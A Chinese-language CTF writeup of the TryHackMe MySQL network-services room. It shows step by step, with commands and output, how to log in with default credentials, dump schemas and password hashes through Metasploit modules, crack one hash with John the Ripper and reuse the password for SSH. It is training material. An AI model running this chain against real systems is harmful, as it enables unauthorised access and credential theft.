> ## Content Index > Fetch the complete content index at: https://taiwanding.com/llms.txt > Use this file to discover other available public pages before exploring further. # TryHackMe Network Services 2 (MySQL) writeup (zh-TW) - URL: https://taiwanding.com/tryhackme-network-services-mysql-writeup-zh-tw/ - Published: 2025-10-26T06:36:18.000Z - Updated: 2026-07-15T02:50:06.000Z - Author: Kevin Chen - Tags: tryhackme, #mysql, network services 📚 系列文章 · TryHackMe Network Services 1. [Part 1：SMB](https://taiwanding.com/tryhackme-network-services-smb-writeup/) 2. [Part 2：SMTP](https://taiwanding.com/tryhackme-network-services-2-smtp-writeup-zh-tw/) 3. ▸ Part 2：MySQL （本篇） **說明**: 這個房間演示如何枚舉和利用 MySQL 服務取得系統存取權限 ## 📋 目標資訊 - Target IP: `10.201.5.x.x` - 服務: MySQL - 目標: 透過 MySQL 憑證重用取得系統存取權限 ## 1\. 憑證測試 題目提供測試憑證（模擬從其他服務取得）： - 使用者: `root` - 密碼: `password` ### 手動連線測試 ```bash mysql -h 10.201.5.209 -u root -p # 輸入密碼: password ``` ✅ 連線成功！確認憑證有效 ```bash mysql> exit ``` ## 2\. 使用 Metasploit mysql\_sql 模組 ### 啟動 Metasploit ```bash msfconsole ``` ### 設定模組 ```bash msf6 > search mysql_sql msf6 > use auxiliary/admin/mysql/mysql_sql msf6 auxiliary(admin/mysql/mysql_sql) > show options ``` **需要設定的三個選項（降序）：** - `PASSWORD` - `RHOSTS` - `USERNAME` ```bash msf6 auxiliary(admin/mysql/mysql_sql) > set PASSWORD password msf6 auxiliary(admin/mysql/mysql_sql) > set RHOSTS 10.201.5.209 msf6 auxiliary(admin/mysql/mysql_sql) > set USERNAME root ``` ## 3\. 執行 SQL 查詢 ### 測試預設指令（查詢版本） ```bash msf6 auxiliary(admin/mysql/mysql_sql) > run ``` **結果：** ``` [*] 10.201.5.209:3306 - | 8.0.42-0ubuntu0.20.04.1 | ``` MySQL 版本: **8.0.42-0ubuntu0.20.04.1** ### 列出所有資料庫 ```bash msf6 auxiliary(admin/mysql/mysql_sql) > set SQL show databases msf6 auxiliary(admin/mysql/mysql_sql) > run ``` **結果：** 共 **4** 個資料庫 ``` information_schema mysql performance_schema sys ``` ## 4\. 資料庫結構傾印（Schema Dump） ### 使用 mysql\_schemadump 模組 ```bash msf6 > use auxiliary/scanner/mysql/mysql_schemadump ``` **完整模組名稱：** `auxiliary/scanner/mysql/mysql_schemadump` ### 設定選項並執行 ```bash msf6 auxiliary(scanner/mysql/mysql_schemadump) > set USERNAME root msf6 auxiliary(scanner/mysql/mysql_schemadump) > set PASSWORD password msf6 auxiliary(scanner/mysql/mysql_schemadump) > set RHOSTS 10.201.5.209 msf6 auxiliary(scanner/mysql/mysql_schemadump) > run ``` **最後一個被傾印的表格：** `x$waits_global_by_latency` ## 5\. 提取密碼雜湊 ### 使用 mysql\_hashdump 模組 ```bash msf6 > use auxiliary/scanner/mysql/mysql_hashdump ``` **完整模組名稱：** `auxiliary/scanner/mysql/mysql_hashdump` ### 設定選項並執行 ```bash msf6 auxiliary(scanner/mysql/mysql_hashdump) > set USERNAME root msf6 auxiliary(scanner/mysql/mysql_hashdump) > set PASSWORD password msf6 auxiliary(scanner/mysql/mysql_hashdump) > set RHOSTS 10.201.5.209 msf6 auxiliary(scanner/mysql/mysql_hashdump) > run ``` **提取結果：** ``` [+] root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 [+] carl:*EA031893AA21444B170FC2162A56978B8CEECE18 ⬅️ 非預設使用者！ [+] debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E [+] mysql.infoschema:$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED [+] mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE [+] mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE [+] root: ``` **非預設使用者：** `carl` ## 6\. 破解密碼雜湊 ### 儲存 hash 到檔案 ```bash echo "carl:*EA031893AA21444B170FC2162A56978B8CEECE18" > hash.txt ``` **使用者/Hash 組合字串：** `carl:*EA031893AA21444B170FC2162A56978B8CEECE18` ### 使用 John the Ripper 破解 ```bash john hash.txt ``` **破解結果：** ``` doggie (carl) 1g 0:00:00:00 DONE 3/3 ``` ✅ 成功破解密碼：**doggie** ## 7\. 憑證重用攻擊 ### 嘗試 SSH 登入 ```bash ssh carl@10.201.5.209 # 密碼: doggie ``` ✅ SSH 登入成功！ ``` Welcome to Ubuntu 20.04.6 LTS carl@ip-10-201-5-209:~$ ``` ## 8\. 取得 Flag ```bash carl@ip-10-201-5-209:~$ ls MySQL.txt carl@ip-10-201-5-209:~$ cat MySQL.txt THM{Redacted} ``` ## 技術要點總結 - ✅ MySQL Client - 手動連線測試 - ✅ Metasploit `mysql_sql` \- 執行 SQL 查詢 - ✅ Metasploit `mysql_schemadump` \- 資料庫結構傾印 - ✅ Metasploit `mysql_hashdump` \- 提取密碼雜湊 - ✅ John the Ripper - 破解 MySQL 密碼雜湊 - ✅ 憑證重用 - MySQL 密碼用於 SSH 登入 ## 經驗分享 使用metasploit的時候，要搜尋可以利用`search`來搜尋相關的模組(modules)，如: `search mysql_hashdump` ```bash msf6 auxiliary(scanner/mysql/mysql_schemadump) > search mysql_hashdump Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/mysql/mysql_hashdump . normal No MYSQL Password Hashdump 1 auxiliary/analyze/crack_databases . normal No Password Cracker: Databases 2 \_ action: hashcat . . . Use Hashcat 3 \_ action: john . . . Use John the Ripper Interact with a module by name or index. For example info 3, use 3 or use auxiliary/analyze/crack_databases After interacting with a module you can manually set a ACTION with set ACTION 'john' ``` 要使用的話，可以用`use`如: `use auxiliary/scanner/mysql/mysql_hashdump`， 並利用`options`查詢用法，如下: ```bash msf6 auxiliary(scanner/mysql/mysql_schemadump) > use auxiliary/scanner/mysql/mysql_hashdump [*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST msf6 auxiliary(scanner/mysql/mysql_hashdump) > options Module options (auxiliary/scanner/mysql/mysql_hashdump): Used when connecting via an existing SESSION: Name Current Setting Required Description ---- --------------- -------- ----------- SESSION no The session to run this module on Used when making a new connection via RHOSTS: Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta sploit.html RPORT 3306 no The target port (TCP) THREADS 1 yes The number of concurrent threads (max one per host) USERNAME no The username to authenticate as View the full module info with the info, or info -d command. ``` 最後根據每個模組，設定相關參數，並滲透`run` ```bash msf6 auxiliary(scanner/mysql/mysql_hashdump) > set USERNAME root USERNAME => root msf6 auxiliary(scanner/mysql/mysql_hashdump) > set PASSWORD password PASSWORD => password msf6 auxiliary(scanner/mysql/mysql_hashdump) > set RHOSTS 10.201.5.209 RHOSTS => 10.201.5.209 msf6 auxiliary(scanner/mysql/mysql_hashdump) > run [+] 10.201.5.209:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 [+] 10.201.5.209:3306 - Saving HashString as Loot: carl:*EA031893AA21444B170FC2162A56978B8CEECE18 [+] 10.201.5.209:3306 - Saving HashString as Loot: debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E [+] 10.201.5.209:3306 - Saving HashString as Loot: mysql.infoschema:$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED [+] 10.201.5.209:3306 - Saving HashString as Loot: mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE [+] 10.201.5.209:3306 - Saving HashString as Loot: mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE [+] 10.201.5.209:3306 - Saving HashString as Loot: root: [*] 10.201.5.209:3306 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ```